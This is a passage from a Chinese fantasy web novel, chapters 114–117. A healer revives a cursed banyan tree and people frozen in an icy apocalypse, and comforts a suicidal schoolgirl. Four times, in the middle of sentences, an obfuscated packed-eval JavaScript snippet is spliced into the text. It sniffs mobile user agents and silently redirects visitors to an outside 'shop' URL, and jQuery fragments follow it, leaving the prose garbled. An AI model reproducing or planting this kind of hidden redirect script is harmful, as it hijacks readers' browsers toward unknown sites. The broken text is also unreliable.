“榕树,我们帮你清除烂根,你把九尾狐放出来。”独孤尽不知道自己现在的能力能不能做到这点,但话得先出来,说不定人家信了,他把人诓出来了呢? 树叶沙沙作响,有几片在空中盘旋久久不落。 明明听不懂树说了什么,但独孤尽还是理解了树的意思。 这是得先给它治疗,它才肯放人。 “好,我给你治疗。”独孤尽盘腿坐到了树根上,俯身触摸了两下那些坏死的根须,凝神屏息,想象将树治愈,让它郁郁葱葱,枝繁叶茂。 奇异的是,他觉得自己前方有一团熟悉的黑雾,他往前攻击一下,对方退一步,又反击过来,像在跟他跳探戈一样。 榕树刚觉得自己舒坦了些许,继而又难受起来,还以为独孤尽在捉弄它,有些恼怒,伸出枝条将独孤尽卷起来。 “你怎么这么急躁,别急啊,你坏了多少根你自己不是不知道,给我点时间。”独孤尽叹了口气,安抚榕树,“来,先把我放下来,我还得继续给你治疗呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689010|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “沙沙——沙沙——” “好,好,我尽快。”独孤尽虽然应了下来,可他知道,这不是一件易事,想要彻底清除这些,真不知道要花多久。 “耳鼠,你跟我一起。”独孤尽只能喊了耳鼠帮忙。 车上的男人等了许久也没等到独孤尽回来,实在害怕,下了车,见独孤尽坐在那混身发着光,也不敢打扰,只能重新坐回车里等。 他想找自己的女儿,可他跟着这个人,恐怕怎么样都找不到自己的女儿,但不跟着这个人,他又怕自己还没找到女儿就碰到意外先走了。 纠结再三,男人选择在车后座躺下,先睡一觉。 独孤尽现在也很想睡一觉,他感到源源不断的能量在从他身体里离开,给树治疗要消耗的能量太多了,根本不够。 耳鼠一边在给树治疗,一边在给独孤尽治疗,它也快要力竭了。 那股黑雾似是活的,总能在他以为快要攻克的时候给他还击,让他知道,它没那么好消灭。 与此同时,春渐满在画里,吸收池塘里的植物生命也变得困难了很多,那是一阵刺目的白光,总能截断他要吸收的生命之源。 “谁这么烦,敢打扰我。”春渐满的双眸变得赤红,有鲜艳的泪珠顺着眼角落下。 为什么心里这么痛? 春渐满捂住了心口,痛得他忍不住要哭。 就在他分心的这一刻,独孤尽把榕树上最后一处坏死的根须治疗好了,他大喘着躺倒在地上,凹凸不平的根须硌的他生疼,可这会儿他顾及不了这么多,只能缓缓地把气喘匀。 耳鼠虚弱地靠在一旁,呼吸微弱。 等独孤尽接收到成百上千倍多能量回归身体后,他才发现耳鼠奄奄一息了,赶忙给它进行治疗。 独孤尽在治疗的时候想了很多,甚至脑海里出现了一个邪恶的念头。 如果他碰到一个罪大恶极的人,那他是不是能直接把这个人当成提升自己能力的工具,让这个人反复受伤,他治愈获得能量,再将他弄伤,再治疗,循环往复,他能在最短的时间里变得强大。 这个念头长得够大了,黑雾甚至以为可以就这样控制独孤尽,可还是被独孤尽狠狠戳破了。 有些恶念是碰都不能碰的,一旦发生,就回不去了。 “九尾狐,过来。”独孤尽再次看过去,九尾狐身上已经没了黑雾,反而莹润着白光,像是升华了。 “阿尽……我……” “好了,过来。”独孤尽看出九尾狐的迟疑,不是先前的自暴自弃,只是近乡情怯,不好意思过来。 “阿尽,你要怎么惩罚我?”九尾狐挠了挠脸颊,脑袋上露出了两只毛茸茸的耳朵,很快,身后九条大尾巴也跳了出来。 “罚你最近都没好吃的。”人间还没恢复正常,他们自然吃不到好吃的。 “小心!”就在他们放松警惕时,榕树不知为何,突然扬起了一根树枝为鞭,朝他们抽来! 114. 我不是神 千年榕树足够枝繁叶茂,枝条也特别粗壮,虽然独孤尽他们都躲开了,可地上仍旧被扫出了深深的沟壑。 可想而知,如果这一下抽到他们身上,无论是谁,都得四分五裂。 “你这树怎么恩将仇报!”耳鼠气恼地飞在半空中,准备上前折了榕树的枝条。 “啊——啊啊——”榕树发出痛苦呻吟,它不想攻击这些对它好的人,可它好痛,它不受控制。 “不对劲,不是它在攻击我们。”九尾狐毕竟跟树交流的时间最长,她一下子就看出了树的异常。 虽然这树本来也不是什么好树,却也没坏到忘恩负义的程度。 究竟是谁在背后操控这棵树?! “阿尽,能看到背后之人吗?”九尾狐还不知道独孤尽已经能力尽失。 “看不见,我现在无法感知一切。”独孤尽试图透过树去看,可只看到了浓重的黑雾,其他什么都看不见。 “我往树那边走,你们看看有什么破绽。”独孤尽打算以身诱敌。 “主人,太危险了,我去吧。”耳鼠不想让独孤尽涉险,而且它已经死过一次了,这次能活下来全靠主人救了它。 九尾狐见耳鼠这么积极,立马也表忠心,她也是被救的那个。 “恐怕,这家伙的目标是我。”独孤尽摇了摇头,这点,他光靠直觉就能分辨出来。 “主人……”耳鼠和九尾狐迟疑地看着独孤尽,独孤尽冲他们笑了笑,“没事,你们会救我的不是吗?” 独孤尽没再说什么,他往前走了几步,掌心抚在树干上,那是经过岁月洗礼的粗糙树皮,里面蕴藏着不知道多少故事,它不该被人掌控,变成攻击人的武器。 “还记得这种感觉吗?”独孤尽继续治愈榕树,虽然它现在身上已经没了伤痛,可它心上有伤痛,独孤尽在试图抚平它的心。 春渐满能感觉到吸收到的能量被反向吸走了,且细细密密,源源不绝在向外流逝。 他屏气凝神,更奋力地吸收能量。 独孤尽喷出一口鲜血,那股强劲的黑气直接攻击到了他。 榕树倒是没再受影响了,它用枝条轻轻托着独孤尽,枝条上有绿色光点落向独孤尽眉心。 独孤尽粗喘了几口气,终于睁开眼睛,看到了两张担心的脸。 “主人!” “阿尽!” “我没事,我要找更多需要救治的人,增强我的能力,你们帮我分头寻找。”独孤尽深吸了口气,让翻涌的血液平静下来,好一会儿才舒服。 他站起身,往车里走。 坐在车后座的男人已经被吓傻了,他一言不发死死盯着独孤尽。 他不明白独孤尽怎么能在那样的怪物身边活下来,怎么能够抵抗住那种攻击,这不是说明,独孤尽比那些怪物还恐怖么? “去找你女儿。”独孤尽现在比男人更想找到他的女儿,他需要救治别人。 可男人此刻不怎么想找女儿了,他怕独孤尽有什么坏心思,那他和女儿都不是对手。 而且女儿说不定早就死了,如果独孤尽恼羞成怒,迁怒了他怎么办? 他好不容易才活下来。 虽然是被独孤尽救了才活下来。 “你在想什么?”独孤尽从后视镜里瞥了男人一眼。 男人惊慌失措,他瞳孔猛然收缩了一下,随后掩耳盗铃地看向窗外,“我在想女儿可能在什么地方。” “你没想。”独孤尽冷淡地戳穿男人。 “我在想!”男人双手发颤,他不想让独孤尽觉得他有什么问题。 “你没想,就算你知道你女儿在什么地方,现在这个世界变成这个样子,你也不会知道她在哪里。”独孤尽直接搓破男人的谎言。 倒不是要男人难堪,只是他又开始心浮气躁起来,总想找茬,总想说些什么。 男人沉默了好一会儿,不敢再乱说什么。 也就是这个空档让独孤尽总算意识到自己又浮躁了。 他好像是靠近一些不干净的东西时才会被影响,这说明,男人又不干净了,他一定有了不好的思想,又有了黑气。 独孤尽猛地踩下了刹车,拉开车门走到了车后座,把手放在了男人脑门上。 男人吓得眼睛紧紧闭起,一动不敢动,他觉得自己的生命在此刻就要终结了,一切都要结束了。 这是一种折磨、恐惧,但是又有点释然的感觉。 好像一切的疲惫最终要在这一刻结束了。 可他想象中的疼痛并没有到来,有的只是一股让人头脑舒适的沁凉。 像喝了冰镇的饮料,让人舒爽。 不过,现在外面冰天雪地的,他竟然没觉得寒冷,这是不是说明,他也不正常了。 男人睁开了眼睛,看了一眼恢复平静的独孤尽,冲他讪笑了一下。 “不好意思,我刚刚说谎了,我就是有点怕你。” 这回男人说的是实话,他也不知道自己怎么了,先前的恐惧消失殆尽,反而觉得独孤尽怎么看怎么顺眼了。 独孤尽瞥了他一眼,“别再想那些乱七八糟的,容易影响到我,到时候才是真的会有危险。” “目前为止,我没有想对你干什么,不想杀你,也不想杀你女儿,你不要再挑战我。”独孤尽重新发动汽车,白茫茫的看久了,他的眼睛都开始刺痛起来。 为了不患上雪盲症影响前行,他时不时闭上眼睛休息会儿。 经过刚才,男人放松了不少,也愿意跟独孤尽说一说自己的情况。 “我女儿特别喜欢吃甜品,说不定会在甜品店里。” “也有可能去看好看的小裙子了,也有可能和朋友逛谷子店,谷子店就是……就是一些游戏啊,动画啊,漫画啊,那些的周边。”男人试图跟独孤尽解释清楚,不过这一路上,他真分辩不了这些店。 大部分的店都被冰封住了,如果不凿开,根本看不清里面是什么。 独孤尽找了许久,总算找到了一件趁手的工具,他拿着消防锤,捶碎了一些店铺的门。 有的里面有人类,这些人类被冻成了冰,完全不能动了,独孤尽生怕碰倒他们。 如果人已经变成了冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689011|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定一碰就碎了,到时候冰化了也没法恢复呼吸了。 最大的可能是,这些人已经死了,碰不碰倒都已经死了。 “你要不要进来?”独孤尽冲还躲在车上的男人喊。 “我……我来了。”男人踉踉跄跄走在路上,路上的冰让人举步维艰。 他好不容易才走到店里,看到这么多被冻成冰雕的人,脸色瞬间又白了。 独孤尽冲他摇了摇手指,“别乱想,别害怕,别影响我。” “哦,好。”男人点点头,拼命克制住自己的恐惧心理,他往里一边走一边识别,既希望见到自己的女儿,又不希望见到自己的女儿。 一瞬间,他脑海里闪回了几个画面。 他好像看见女儿受了伤,随后血刚流出来就被冻住了,再然后,他也不知道怎么回事受了伤,腿也被冻住了。 “女儿!”男人突然大喊了一声。 独孤尽被他这一声喊的差点脚下一滑。 “找到了?!” “没……没有……”男人回过神,刚刚他陷入了回忆。 “没有就算了。”独孤尽叹了口气,走到一尊冰雕前,伸手摸了摸。 这冰冷的触感,如果里面冻住的真的是人类,拿一定早就没了气息。 可说不定呢,这个世界变成这样就已经够不合理的了,说不定呢?! 独孤尽忍着被冰的刺痛,他双手都放在了冰上,闭上了双眼。 想象着将冰融化,将人解救。 他源源不断把能量输送过去,双手从一开始的刺痛变得发热,逐渐麻木,感觉不出来别的。 他始终没有把手从冰雕身上移开。 “呼……呼……”微弱的呼吸声刺激了他的神经。 他猛然睁开眼,看到已经化成水的冰,而冰里的人竟然微张着嘴,还有气息。 阵阵白气也预示着她真的还活着。 “你……你是神吗?!”男人目瞪口呆地看着这一切,虽然早在自己的腿被莫名其妙治好的时候,他就惊愕于独孤尽的神异。 但那时候,他的注意力都在自己身上,并没有这么直观观看来得震撼。 “我可不是神,不要瞎喊,更别给我戴高帽子。”独孤尽摇了摇头,“我救不了世人,救不了每个人。” “我只是一个普通人,能救一个是一个,救不了的,你们也怨不了我。”独孤尽瞪了男人一眼,他现在极度虚弱,能量还没返还到他身上,这说明,这个人还没被彻底治愈。 他坐下来,缓了口气,重新把手搭在女人胳膊上,继续把能量传输过去。 女人已经从僵硬站立的姿势变成了靠货架,慢慢地,她也坐了下来,脸色从苍白变得红润。 “快了,你去找瓶矿泉水过来。”独孤尽给男人发号施令,“最好再找个打火机,想办法烧点儿热水给她喝下去。” 他已经没有能量可以给女人了,只能靠基本的急救来让她苏醒过来。 只要她苏醒过来,他的能量就会成倍返还,他就可以救下一个人了。 “快点!” 115. 对立 男人在货架上找了好久才找到饮品区,他想了想,拿了功能饮料,找了口小锅,把功能饮料倒进去,拿着打火机手动加工小锅。 不得不说,一手拿锅一手打着打火机还挺困难,男人过了一会儿就觉得手酸,得换换边,好在加热液体不费劲,很快水就温了。 又拿了几个一次性纸杯,他倒出了两杯,先递给了独孤尽,才扶着还没苏醒的女人喂她喝。 女人虽然还没苏醒,却已经有了意识,喝到温热的甜甜的水,自主吞咽起来,一杯下去,她的眼睛缓缓睁开。 “你……你是谁?”女人迷惑地看着面前的男人,她发现自己瘫软在地上,毫无形象,而且不知道为什么原本初秋的天气就极其寒冷,她拢了拢衣襟,试图从地上爬起来,可试了好几次,双腿都没力气起来。 她惊恐地四处张望,发现了很多被冻起来的人,这些人像冰雕一样,这场景特别诡异,她觉得自己在做梦,重新闭上了眼睛,再次睁开,一切都没发生改变,又狠狠掐了自己一把。 好痛! 她惊觉这一切居然是现实。 “别怕,我们都是好人,他救了你,你之前也是那个样子,现在我们要救治其他人了,你好一点之后能不能来帮忙?”男人的双手还有点颤抖,没干惯体力活,现在用原始的方法烧水都成问题。 “你们救了我?!”女人扭头看到皱着眉头闭着眼睛的独孤尽,“他怎么了?” “没事,他救了你消耗了太多,休息会儿就好了。”男人也不知道独孤尽需要休息多久,但只要女人醒过来,他应该也快恢复了吧。 独孤尽能听到耳边聒噪的人声,这种声音让他心烦意乱,险些又要爆发争吵,强忍着强忍着,过了一会儿,终于有股清清凉凉的能量涌入他的身体,这股能量持续了很久,他凝神静气吸收着,静静等待身体恢复到巅峰。 期间女人跟男人相顾无言,不知道能聊什么,也不知道现在这个情况适合聊什么。 “来,你们准备好热水。”独孤尽终于站起了身,正所谓一回生二回熟,他找到一个年轻男人冰雕,先将他恢复到能够活动,就将他搀扶到坐在地上,才继续给他治疗。 女人先前没见过独孤尽治疗,她新奇地盯着看了会儿,啧啧称叹,又不敢胡乱言语,生怕扰乱了独孤尽发功。 “我们是中了什么新型病毒吗?”等到年轻男人苏醒,女人才终于忍不住开口问起来。 独孤尽还在恢复期,他没精力回答,年轻男人刚醒过来也一头雾水呢,更没办法回答,只有司机沉默了片刻道,“不知道,像是新型病毒,传染性很强,只要接触就会传染。” “据我们发现,这东西能控制心理,通过心理影响生理,所以我们不能想一些负面的,必须时刻保持积极的情绪,这点请你们务必记住,不管能不能保持好心情,都要做到。” “心情这种东西没办法受我们控制啊,人怎么能控制这些呢?”女人无法理解,她经常无法控制自己的情绪,情绪上头的时候,什么事情都做的出来。 “你想想,面对上司的时候,是不是有的时候很想发火,但是不会对他发火?”司机循循善诱。 年轻男人思索片刻,一拍手掌,“可心里还是不痛快啊,会憋着火,这不算负面情绪吗?” “先憋着火,然后把火气消除,尽快消除。”司机想了想,继续举例,“比如生了闷气会跟朋友吐槽,吐槽着吐槽着,可能心情就好了,总有能调节的方式,实在调节不了,还能让心理医生帮忙调节。” “话是这么说,可这需要一个过程,我们又不是机器人,怎么可能时刻让心情保持在积极的状态?”这回不光是女人开始质疑,年轻男人也表示自己做不到,不可能有人能做到。 除非,这个人不是人…… “做不到也要做到,除非你们想再次变回那个状态,并且影响到我,让我也变成那个状态。”独孤尽擅用道德绑架,他救了人,这个人如果特别恶劣,才会想着恩将仇报,否则多少都会有些良心让自己保持良好的心情。 “恩人,我们自然不想连累你,可我们怕做不到……”年轻男人挠了挠头,他真的想帮上忙,可他很担心…… “停止你现在的担心,要坚信能做到,只要坚信就会做到。”独孤尽见他状态即将低迷下去,立马打断,施展正念魔法。 “只要相信就能顺顺利利的,必须坚信这点,你也是。”独孤尽看向女人。 女人点了点头,她现在其实没什么害怕的情绪了,毕竟有独孤尽这么一个超神的人存在,她现在安全感爆棚,而且这个救命恩人长得好挺好看,光是看着也能缓解自己的紧张情绪。 “我们要抓紧时间把店里的人都救了,等等还要去别处。”独孤尽可没忘了给司机找他的女儿。 司机自己现在都没在想着女儿的事了,他忙得不可开交,虽然多了几个人帮忙,烧水这件事不用他来操作了,但他找了毛巾,用另外的锅弄了热水给他们擦脸擦手,把身上原本破了之后被血迹染了的,擦拭干净。 独孤尽在这个店里一共救治了十五人,这十五人救治到后面,恢复得越来越快,独孤尽也觉得自己的能力越来越强。 他看了看外面,过了这么久竟然都没天黑,估计是不会碰到黑夜了。 一直这么亮着不利于户外活动,他只能期望找到下一个有人的店,在里面一边施救一边暂作休息。 这些人虽然被救了,但是也不知道该往哪里去,独孤尽想了个法子,让他们先在这家店里生存着,毕竟这是超市,里面什么都有,能坚持一段时间。 还让他们在超市外面绑了一块红布条,表示这里的人已经全救过了,防止他们走错地方。 接下来就更顺利了,独孤尽又连续救治了三家店,终于男人拍了拍他,“我撑不住了,不好意思,我得睡会儿。” 独孤尽这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689012|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,自己获得了能量,不用睡觉,可以一直永动机一样行动,可司机是普通人类,就算外面的天永远不会黑,他也是要睡觉休息的。 “是我疏忽了,你找个毯子休息会儿,别着凉了。”独孤尽往外看了看,“你一个人不怕吧?我先去旁边那家再救治一些人,过会儿来找你。” “你去吧,我睡一会儿就好。”司机已经懒得去想独孤尽为什么不用睡觉了,他能救这么多人就说明他天赋异禀了。 他找不到毯子,只能在椅子上坐着,没一会儿就打起了呼噜。 他是真的累了。 独孤尽不止去了附近的店,他还在外面绕了一大圈,甚至跟九尾狐和耳鼠碰了面,九尾狐那有好消息,她将遇难者集中在了一家学校,耳鼠则没撞见什么,它耷拉着耳朵,觉得自己拖了后腿。 独孤尽轻轻拍拍耳鼠的脑袋,“你也拓宽了地图,别想那些不开心的,这才是最重要的。” “阿尽,那我呢,不奖励我吗?”九尾狐得意洋洋甩了甩粗尾巴,“我要吃甜品,这里都没好吃的,你给我找甜品。” 她其实没那么想救人,也没那么想找人,只是想找吃的,谁知道她越是想找好吃的,就越是容易碰到遇难者。 “不然我可没力气再继续帮忙了。”九尾狐慵懒地打了个哈欠,她还想睡美容觉。 “甜品……即食面包、蛋糕那些还有,你吃吗?”独孤尽想到超市里的囤货,如果非要吃甜品店里新鲜的,那谁也供应不了,现在哪里都没电。 除非……有人,用人工发电运转烤箱。 但现在这种情况,谁会费这种功夫在吃一口甜食上。 能填饱肚子不饿死冻死就不错了。 “也行吧……”九尾狐委委屈屈点了点头,勉强答应了。 独孤尽立马从口袋里掏出了原本打算路上留着冲击的蛋糕,抛给了九尾狐。 九尾狐原形毕露,吃得眉眼弯弯,开心得就差绕着独孤尽和耳鼠转圈了。 “等等!你再开心点!”独孤尽忽然发现,在九尾狐身上,他还能收集到一种很特别的能量,这种能量让他逐渐恢复了感知力,虽然……只是微弱的一点点。 但这是一个好兆头,说明,快乐的,幸福的情绪能够让他恢复之前的能力。 可九尾狐被独孤尽这么硬生生叫着开心,却无法真的开心起来了,她努力让自己的嘴角上扬,但再怎么样独孤尽都没再接收到更多了。 “还必须是真心的快乐,真难伺候。”独孤尽叹了口气,很快又让自己开心起来。 现在一切都在向着好的发展,相信很快他就能恢复能力,回到画里,把春渐满救出来了! 春渐满!你可一定要好好的! 似乎感受到了什么,春渐满鼻头微痒,打了个喷嚏。 他身上的黑雾稍微减淡了一点,人也变得更虚弱了点。 到底是谁,在跟他作对?! 116. 毁灭世界 独孤尽走上了救人与寻找快乐之路,这两条路其实是一条路,毕竟被人救了,是会真的感到幸福的。 可总有那么几个人是例外。 那是一位还在念高中的孩子,她被救后,没有感谢,有的是怨恨。 “我都无知无觉死了,为什么还要救我?!好不容易等到了意外!好不容易等到的!”她一边哭一边崩溃地大叫,“好不容易才能不怀愧疚地,正当地死掉!” 独孤尽被这阵强烈的负面情绪攻击得脑仁疼,他揉了揉脑袋,让耳鼠上前给她做心理辅导。 耳鼠擅长做这个,只是施展了治愈之术就让少女冷静了下来,她阴郁地低下了头。 独孤尽还是能感觉到负面情绪在不断攻击他,女孩虽然心情平静下来,没再做出过激行为,但心里仍旧郁郁。 “就这么不想活?”独孤尽强压着不适走过去。 “你们为什么要救人?”少女没抬头,她反问独孤尽。 “再不救人,世界就要毁灭了。”没等独孤尽回答,九尾狐就捏住了少女的下颌,强迫她抬起头。 少女眼里全是泪,她在无声地落泪,甚至不想让人瞧见她在哭。 “我恨你们,恨这个世界,毁灭了才最好!”少女摇着头,想要挣脱九尾狐的束缚。 “你们也快放弃吧,这么烂的世界为什么要救,凭什么救那些人渣?!”少女不忿,平日里她只能用正常的面目对人,可现在世界都崩坏了,她也不用再强忍着。 “你也是人渣吗?”独孤尽握住九尾狐的手腕,让她松了手。 他蹲在少女面前,“你看着我的眼睛,回答我,你也是人渣吗?” “我是!我就是人渣!我恨不得大家都跟我陪葬!所有人一起死!地球爆炸毁灭!所有的一切都消失!”少女猛然抬起头,死死盯着独孤尽的眼睛说出这一番泄愤的话。 “告诉我,你想这一切都消失的原因。”独孤尽没放过她,不依不饶让她说出真正的心思。 “有什么原因,没有原因。”少女梗着脖子,倔强地反抗。 “不说出原因,你死多少次,我都照救不误。”独孤尽威胁少女,反正在这个世界,少女一个人太容易死了,只要他不施救,她随时都可以达成自己的心愿。 “你为什么要这么做!为什么要这么对我!救我对你有什么好处?!”少女不可置信地看着独孤尽,看着眼前这个素昧平生的陌生人。 “确实对我有好处,所以你死多少次我都会救。”独孤尽毫不掩饰地在手上聚集出了莹润的光,“看见这个了吗?救的人越多,我的能力就越强,越能拯救这个世界。” “如果你不想成为我拯救世界的刷经验机器,不想为拯救世界出力的话,我劝你实话实说。” “啊——你这个疯子!”少女尖叫一声,这下负面情绪又涨到了前所未有的高度,独孤尽觉得大脑里有锯子猛然扯了一下,把他的神经都扯疼了。 “我就是疯子。”独孤尽龇牙咧嘴,他狰狞的脸吓到了少女,一时间竟忘了再想杂七杂八的。 过了好一会儿独孤尽才缓过神,九尾狐和耳鼠担忧地看着他。 “我没事。” “该你了,说说吧,为什么想要这个世界毁灭。” “为什么?这个世界上每天都有令人恶心的事在发生,无论大家怎么努力,都无法阻止这些,光是想到我和这些人都同为人类,就觉得恶心。”少女显然是中二病还在犯,窥探到了世界的一角,但还没能跟世界和解,无法接受有光就有暗的事实。 “就因为这样,你就不活了吗?想让整个世界跟你陪葬?”独孤尽从货架上拿了一瓶小甜水,拧开盖子递给她,“来,尝一口。” 少女不想喝,但被独孤尽这么盯着,性格使然,让她不得不照做。 “是不是甜的?” 少女点了点头,这点她没法撒谎。 “有甜就会有苦,如果因为有苦存在,就不去品尝那些甜,这是不是傻?” “你别劝我了。”少女现在是真的平静了很多,她知道独孤尽没做错,无理取闹的是自己。 “像你说的,人类这个生物,存在的时间也没多久,上古时期有那么多珍贵的生物曾经霸占着地球,但最后都走向了灭绝,人类也不该坚信自己就能永远统治地球。”独孤尽眨了眨眼睛,“那你又为什么非要人类现在就毁灭呢?” “可能你觉得早毁灭晚毁灭没什么区别,反正都要毁灭,不如早点毁灭,省得发生那些恶心到你的事,让你不开心。”独孤尽算是说到了少女的心坎上,她的睫毛颤动起来。 “可你让那些努力活着的人怎么办呢?那些还向着希望奔跑的人,他们何其无辜,就要陪同那些罪恶之人一同毁灭。”独孤尽冲少女笑了笑,“你不会觉得这个世界上没有纯粹的好人吧?” “我之前也觉得没有,但我见到了一个人,他完全不为自己,只为了受害者,不断将自己置于险境,他不害怕吗?他也该害怕的,可他还是去做了。”独孤尽想到春渐满的时候心都软了,他闭上眼睛,脑海里都是春渐满努力工作的样子。 “你让这样的人跟那些罪犯同一时间毁灭,我会为他们感到难过。”独孤尽睁开眼睛,重新看向少女,“你也不是坏人,你从未做过伤害别人的事吧?” “我……我也伤害过其他生物……”少女支支吾吾,她始终觉得自己不是一个完全的好人。 “什么生物?”独孤尽这次是真的有点惊讶了。 “蚊子……还有我讨厌的蟑螂……还有好多……” “……”独孤尽从未想过少女是这样的众生平等,如果按照她的标准来算,那这个世界上确实没什么好人。 “你会杀蚊子和蟑螂是不是因为它们的生存方式危害到你了?”独孤尽换了种方式开解她。 “嗯……”少女犹豫着点了点头。 “如果它们只是长成这样,并没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689013|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有对你做什么事,你是不是不会想着去消灭它们?” “嗯……但它们危害我,也是为了想要活下去……或者繁衍种族……”少女仍旧无法原谅自己,或者说,无法原谅人类。 “那你讨厌小猫小狗吗?”独孤尽找到了新的突破口。 “不讨厌啊,它们这么可爱。”少女困惑地摇了摇头。 “那你知道小猫除了吃老鼠和鱼饱腹之外,还会玩它们吗?还会玩小鸟,只是为了玩,不是为了生存。”独孤尽将自然界灿然的一面暴露在她面前。 “小狗也会玩老鼠……也会追逐其他感兴趣的东西。” “这个世界就是这样运转的,如果你连这些也无法接受,确实会想要这个世界毁灭。”独孤尽像是想到了什么好笑的,“但这个世界毁灭了,宇宙还有那么多星球,说不定别的地方也发生着类似的事。” “就算是理想化,有的时候,真正的理想化也是无法达成的。”独孤尽戳破了少女最后一点幻想。 “但是我就是很痛苦……” “跟着我们吧。”独孤尽朝少女伸出了橄榄枝,如果她实在无法找到活下去的意义,那么就跟着他一起救人吧。 可能碰到的多了,见到那些真的想活却活不下去的人多了,就能珍爱自己的生命了。 起码,他不能让这样一颗随时会爆炸的定时炸弹留在别处,否则,被有心之人发现了,会成为对付他的最好武器。 独孤尽目前还不知道,同样想要这个少女的人是春渐满。 春渐满现在急需少女这样的人来为他提供能量,越多越好。 他被关在了画里,画里能连接到外界的地方太少,他找了许久,都没找到适合他吸收能量的地方。 无论他走到哪里,好不容易找到的能量都会不知道为何,莫名其妙枯竭。 从某种程度上来说,独孤尽和春渐满也算是极度的心有灵犀了。 “我害怕。”少女环抱着自己的双臂,她觉得好冷,她甚至不想看到那些遇难者的脸,她怕自己承受不住,她真的害怕。 “别怕,看看这个你期待的,世界毁灭的样子。”独孤尽将少女从地上拉起来,让她跟着走出店铺,到苍茫的大街上看一看,世界毁灭的荒凉恐怖。 “好冷……”少女穿的是初秋的衣服,压根无法抵御冰雪,她瑟瑟缩缩,没一会儿就快走不动道了。 “看到那边的店了吗,再一会儿就到了。”耳鼠把自己变成了毛茸茸玩偶的样子,跳进了少女的怀里,让她抱着。 她到这时候才注意到身边这两个根本不像人类的生物,“你们是什么……” “刚才谢谢你让我平静下来。”少女无法想象自己在那种偏激的状态下还会做出什么,她不想做出伤害人的事。 “你该谢谢我们的主人,真正让你平静下来的是他。”耳鼠竖起一只耳朵指了指走在最前面的独孤尽。 “是啊……我该好好谢谢他。” 117. 开膛破肚 独孤尽在店门前驻足,他猛地往后退了几步,扭头拦住了跟在后面的少女,“别进这家店。” “怎么了?”少女错开身,想往里探望。 “别看。”独孤尽闭了闭眼睛,这家店和他之前碰到的其他店都不一样。 里面的人已经血肉模糊,不是单纯被冻住。 是真正的世界毁灭时的景象。 “主人,还进去救人吗?”耳鼠看见了里面的情景,脸色很差。 “进。”独孤尽想都没想,他是必须进去的,可少女……不适合看这样的场景。 “我也要进去,不是说让我看看世界毁灭的样子吗?”少女倔强地抬着头,她不肯留在外面。 而且,连这么可爱的,毛茸茸的小家伙都要进去。 她看了一眼耳鼠,将它抱起,团在怀里,亲了亲。 “你真的要去吗?里面可能会让你心灵受伤。”耳鼠知道一般情况下,人类见到这样的场景会心理应激,可能以后都会有应激反应。 “让我去吧。”少女已经领先了独孤尽一步,她朝着店铺门口走去。 九尾狐跟在后面未发一语,她看不惯独孤尽这么呵护人类,早在她还是只小狐狸的时候,就见过人类对狐狸的残忍了,她的朋友被扒了狐皮,抛尸,还有人就爱追着它们取乐。 尤其是,扒狐皮时,为了保证皮毛的完整性,是活剥。 那个时候,有谁想过,她的年纪,有谁想过小狐狸见到这些会不会留下心理阴影? 人类这种生物根本没有同理心。 九尾狐闭了闭眼睛,走进店铺。 里面血腥的场面对少女来说还是太过惊悚了,可九尾狐只是找了个还算干净的地方坐了下来,等候独孤尽指示。 “我……能做什么?”少女闭上了眼睛,过了好一会儿,才眼神飘忽,不敢看向受伤的人,只能看着别处。 “等我救治完,弄点热水给他们擦拭一下,省的血流得到处都是。”独孤尽可不想等会儿自己得趟着血河走路。 “好……”少女抚摸了一下耳鼠,走到九尾狐身边,偷偷看了她一眼。 她从刚刚就发现自己好像不受这位美女姐姐欢迎。 “我看了,那边有水,去想办法烧热它。”九尾狐指了指不远处的货架,那边还有很多瓶装水。 独孤尽穿梭在不知道经历了什么惨状的人们身边,忽然发现一个熟悉的面孔。 好像是司机的女儿…… 